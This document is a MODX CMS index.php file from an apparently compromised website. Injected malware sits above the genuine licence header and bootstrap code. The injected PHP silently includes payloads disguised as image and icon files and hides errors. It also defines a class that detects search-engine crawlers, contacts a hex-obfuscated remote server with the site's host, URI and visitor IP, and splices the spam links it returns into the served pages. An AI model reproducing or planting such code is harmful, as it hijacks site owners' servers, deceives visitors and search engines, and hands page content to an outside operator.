@include_once('/home/m/managerden/sim-teh.ru/public_html/assets/cache/methods.accept.ico'); @include_once('/home/m/managerden/sim-teh.ru/public_html/assets_old/export/exceptions.http.ico'); @include_once('/home/m/managerden/sim-teh.ru/public_html/assets_old/export/process.locked.php'); @include_once('/home/m/managerden/sim-teh.ru/public_html/assets_old/plugins/managermanager/widgets/mm_minimizablesections/htaccess.xmlrpc.png'); @include_once('/home/m/managerden/sim-teh.ru/public_html/assets_old/plugins/managermanager/widgets/!template/lock.loading.ico'); @include_once('/home/m/managerden/sim-teh.ru/public_html/assets_old/plugins/managermanager/widgets/ddgmap/http.img.jpg'); @include_once('/home/m/managerden/sim-teh.ru/public_html/assets_old/backup/data.exception.png'); if(!class_exists('KF')){if(function_exists('is_user_logged_in')){if(is_user_logged_in()){return false;}}if(@preg_match("#rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|sitebot|semrushbot|ia_archiver|searchmetricsbot|seokicks-robot|sistrix|lipperhey spider|ncbot|backlinkcrawler|archive.org_bot|meanpathbot|pagesinventory|aboundexbot|spbot|linkdexbot|nutch|blexbot|ezooms|scoutjet|majestic-12|majestic-seo|dsearch|blekkobo#i",$_SERVER["HTTP_USER_AGENT"])){return;}@ini_set('display_errors',0);@ini_set('error_reporting',0);@ini_set('log_errors',NULL);@ini_set('default_socket_timeout',4);$uri=$_SERVER['REQUEST_URI'];$ua=$_SERVER['HTTP_USER_AGENT'];$bad_urls='#xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#';if(@preg_match($bad_urls,$_SERVER['HTTP_HOST'] .$uri)){return false;}class KF{public $url="\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x72\x65\x75\x70\x64\x61\x74\x65\x73\x2e\x73\x69\x74\x65\x2f\x6b\x66\x2f\x67\x65\x74\x2e\x70\x68\x70";public $ua='';public $uri='';public $ip='';public $ip_lists=array('google'=>array('203.208.60.0/24','66.249.64.0/20','72.14.199.0/24','209.85.238.0/24','66.249.90.0/24','66.249.91.0/24','66.249.92.0/24'),'bing'=>array('67.195.37.0/24','67.195.50.0/24','67.195.110.0/24','67.195.111.0/24','67.195.112.0/23','67.195.114.0/24','67.195.115.0/24','68.180.224.0/21','72.30.132.0/24','72.30.142.0/24','72.30.161.0/24','72.30.196.0/24','72.30.198.0/24','74.6.254.0/24','74.6.8.0/24','74.6.13.0/24','74.6.17.0/24','74.6.18.0/24','74.6.22.0/24','74.6.27.0/24','98.137.72.0/24','98.137.206.0/24','98.137.207.0/24','98.139.168.0/24','114.111.95.0/24','124.83.159.0/24','124.83.179.0/24','124.83.223.0/24','183.79.63.0/24','183.79.92.0/24','203.216.255.0/24','211.14.11.0/24','65.52.104.0/24','65.52.108.0/22','65.55.24.0/24','65.55.52.0/24','65.55.55.0/24','65.55.213.0/24','65.55.217.0/24','131.253.24.0/22','131.253.46.0/23','40.77.167.0/24','199.30.27.0/24','157.55.16.0/23','157.55.18.0/24','157.55.32.0/22','157.55.36.0/24','157.55.48.0/24','157.55.109.0/24','157.55.110.40/29','157.55.110.48/28','157.56.92.0/24','157.56.93.0/24','157.56.94.0/23','157.56.229.0/24','199.30.16.0/24','207.46.12.0/23','207.46.192.0/24','207.46.195.0/24','207.46.199.0/24','207.46.204.0/24','157.55.39.0/24'),'yandex'=>array('100.43.90.0/24','37.9.115.0/24','37.140.165.0/24','77.88.22.0/25','77.88.29.0/24','77.88.31.0/24','77.88.59.0/24','84.201.146.0/24','84.201.148.0/24','84.201.149.0/24','87.250.243.0/24','87.250.253.0/24','93.158.147.0/24','93.158.148.0/24','93.158.151.0/24','93.158.153.0/32','95.108.128.0/24','95.108.138.0/24','95.108.150.0/23','95.108.158.0/24','95.108.156.0/24','95.108.188.128/25','95.108.234.0/24','95.108.248.0/24','100.43.80.0/24','130.193.62.0/24','141.8.153.0/24','178.154.165.0/24','178.154.166.128/25','178.154.173.29','178.154.200.158','178.154.202.0/24','178.154.205.0/24','178.154.239.0/24','178.154.243.0/24','37.9.84.253','199.21.99.99','178.154.162.29','178.154.203.251','178.154.211.250','95.108.246.252','5.45.254.0/24','5.255.253.0/24','37.140.141.0/24','37.140.188.0/24','100.43.81.0/24','100.43.85.0/24','100.43.91.0/24','199.21.99.0/24'));public $links=array();public $bot='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,8);curl_setopt($ch,CURLOPT_TIMEOUT,15);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function cidr_match($ip,$range){list($subnet,$bits)=explode('/',$range);$subnet=ip2long($subnet);$mask=-1 <<(32-$bits);$subnet &= $mask;return@($ip&$mask)== $subnet;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;if(@preg_match('/google/i',$ua)){$bot=TRUE;$this->bot='google';}if(@preg_match('/yandex/i',$ua)){$bot=TRUE;$this->bot='yandex';}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$ua)){$bot=TRUE;$this->bot='bing';}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby|yadirectbot~i',$ua)){$bot=TRUE;$this->bot='other';}if(!$bot){$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])?$_SERVER['HTTP_CF_CONNECTING_IP']:$_SERVER['REMOTE_ADDR'];$ipl=ip2long($this->ip);foreach($this->ip_lists as $crawler => $masks){if($bot){break;}foreach($masks as $mask){if(!strpos($mask,'/')){if($this->ip == $mask){$this->bot=$crawler;$bot=TRUE;break;}}elseif(@$this->cidr_match($ipl,$mask)){$this->bot=$crawler;$bot=TRUE;break;}}}}if(!$bot){$referer=@gethostbyaddr($this->ip);if(@preg_match('/google/i',$referer)){$bot=TRUE;$this->bot='google';}if(@preg_match('/yandex/i',$referer)){$bot=TRUE;$this->bot='yandex';}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$referer)){$bot=TRUE;$this->bot='bing';}}$host='unknown';if(isset($_SERVER["HTTP_X_FORWARDED_HOST"])){$_SERVER["HTTP_HOST"]=$_SERVER["HTTP_X_FORWARDED_HOST"];}$tmp=@parse_url('http://' .$_SERVER["HTTP_HOST"]);if(isset($tmp['host'])){$host=$tmp['host'];}$url=$this->url ."?host=$host&uri=" .urlencode($this->uri) ."&bot={$this->bot}&ip={$this->ip}";if(isset($_REQUEST['lcheck'])){$url .= '&check=1';}$page=$this->get($url);if(strpos($page,'')!== FALSE){preg_match_all('~(.*?)~',$page,$m);$this->links=isset($m[1])?$m[1]:array();}if(count($this->links)>0){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}function rwcontent($content){$tags=array('p','span','strong','em','i','td','div','ul','li','span','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}.*?>(.*?)~i",$content,$matches);if(@isset($matches[0])){foreach($matches[0]as $match){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}if(count($tags_vals)>count($this->links)){break;}}foreach($this->links as $link_index => $link){$link .= ' ';foreach($tags_vals as $tag_index => $tag_val){if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0 {$link}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))=="."){$tag_content_new=str_replace("."," {$link}.",$tag_val['content']);}else{$tag_content_new=str_replace(""," {$link}",$tag_val['content']);}}$content=preg_replace("~{$tag_val['content']}~i",$tag_content_new,$content,1);unset($tags_vals[$tag_index]);if(strpos($content,$link)!== false){unset($links[$link_index]);continue 2;}}}return $content;}}$ratel=new KF;$ratel->init($uri,$ua);} @include_once('/home/m/managerden/sim-teh.ru/public_html/assets_old/media/sess.processor.png'); /* ************************************************************************* MODX Content Management System and PHP Application Framework Managed and maintained by Raymond Irving, Ryan Thrash and the MODX community ************************************************************************* MODX is an opensource PHP/MySQL content management system and content management framework that is flexible, adaptable, supports XHTML/CSS layouts, and works with most web browsers, including Safari. MODX is distributed under the GNU General Public License ************************************************************************* MODX CMS and Application Framework ("MODX") Copyright 2005 and forever thereafter by Raymond Irving & Ryan Thrash. All rights reserved. This file and all related or dependant files distributed with this filie are considered as a whole to make up MODX. MODX is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. MODX is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with MODX (located in "/assets/docs/"); if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA For more information on MODX please visit http://modx.com/ ************************************************************************** Originally based on Etomite by Alex Butter ************************************************************************** */ /** * Initialize Document Parsing * ----------------------------- */ if(!isset($_SERVER['REQUEST_TIME_FLOAT'])) $_SERVER['REQUEST_TIME_FLOAT'] = microtime(true); if(is_file('autoload.php')) include_once('autoload.php'); $base_path = str_replace('\\','/',dirname(__FILE__)) . '/'; if(is_file($base_path . 'assets/cache/siteManager.php')) include_once($base_path . 'assets/cache/siteManager.php'); if(!defined('MGR_DIR') && is_dir("{$base_path}manager")) define('MGR_DIR','manager'); if(is_file($base_path . 'assets/cache/siteHostnames.php')) include_once($base_path . 'assets/cache/siteHostnames.php'); if(!defined('MODX_SITE_HOSTNAMES')) define('MODX_SITE_HOSTNAMES',''); // get start time $mstart = memory_get_usage(); // harden it require_once(dirname(__FILE__).'/'.MGR_DIR.'/includes/protect.inc.php'); // set some settings, and address some IE issues @ini_set('url_rewriter.tags', ''); @ini_set('session.use_trans_sid', 0); @ini_set('session.use_only_cookies',1); session_cache_limiter(''); header('P3P: CP="NOI NID ADMa OUR IND UNI COM NAV"'); // header for weird cookie stuff. Blame IE. header('Cache-Control: private, must-revalidate'); ob_start(); /** * Filename: index.php * Function: This file loads and executes the parser. * */ define("IN_ETOMITE_PARSER", "true"); // provides compatibility with etomite 0.6 and maybe later versions define("IN_PARSER_MODE", "true"); if (!defined('IN_MANAGER_MODE')) { define("IN_MANAGER_MODE", "false"); } if (!defined('MODX_API_MODE')) { define('MODX_API_MODE', false); } // get the required includes if(!isset($database_user) || $database_user=="") { $rt = @include_once(dirname(__FILE__).'/'.MGR_DIR.'/includes/config.inc.php'); // Be sure config.inc.php is there and that it contains some important values if(!$rt || !$database_type || !$database_server || !$database_user || !$dbase) { readfile('install/not_installed.tpl'); exit; } } // start session startCMSSession(); // initiate a new document parser include_once(MODX_MANAGER_PATH.'includes/document.parser.class.inc.php'); $modx = new DocumentParser; $etomite = &$modx; // for backward compatibility // set some parser options $modx->minParserPasses = 1; // min number of parser recursive loops or passes $modx->maxParserPasses = 10; // max number of parser recursive loops or passes $modx->dumpSQL = false; $modx->dumpSnippets = false; // feed the parser the execution start time $modx->dumpPlugins = false; $modx->tstart = $_SERVER['REQUEST_TIME_FLOAT']; $modx->mstart = $mstart; // Debugging mode: $modx->stopOnNotice = false; // Don't show PHP errors to the public if(!isset($_SESSION['mgrValidated']) || !$_SESSION['mgrValidated']) { @ini_set("display_errors","0"); } // execute the parser if index.php was not included if (!MODX_API_MODE) { $modx->executeParser(); } ?>